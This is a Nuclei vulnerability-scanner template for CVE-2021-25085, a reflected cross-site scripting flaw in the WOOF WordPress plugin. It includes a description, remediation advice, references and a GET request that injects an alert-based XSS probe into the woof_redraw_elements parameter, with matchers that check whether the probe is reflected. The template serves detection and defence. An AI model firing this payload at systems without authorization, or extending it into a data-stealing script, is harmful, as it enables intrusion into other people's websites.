nuclei-templates/http/cves/2021/CVE-2021-25085.yaml

53 lines
2.0 KiB
YAML

id: CVE-2021-25085
info:
name: WOOF WordPress plugin - Cross-Site Scripting
author: Maximus Decimus
severity: medium
description: |
The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of the WOOF WordPress plugin, which includes proper input sanitization to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
- https://plugins.trac.wordpress.org/changeset/2648751
- https://nvd.nist.gov/vuln/detail/CVE-2021-25085
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25085
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40761
cpe: cpe:2.3:a:pluginus:woocommerce_products_filter:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: pluginus
product: woocommerce_products_filter
framework: wordpress
tags: cve,cve2021,wordpress,wp-plugin,wp,xss,wpscan,pluginus
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502210092fb8cf56ead10be69159a982c7e2ffc7a513ecd3fbb66b198b52f20e8a3be6902206e866e1f8f9093a148d74d29473b17b3d4479302673987486361c8ebb1e34ee5:922c64590222798bb761d5b6d8e72950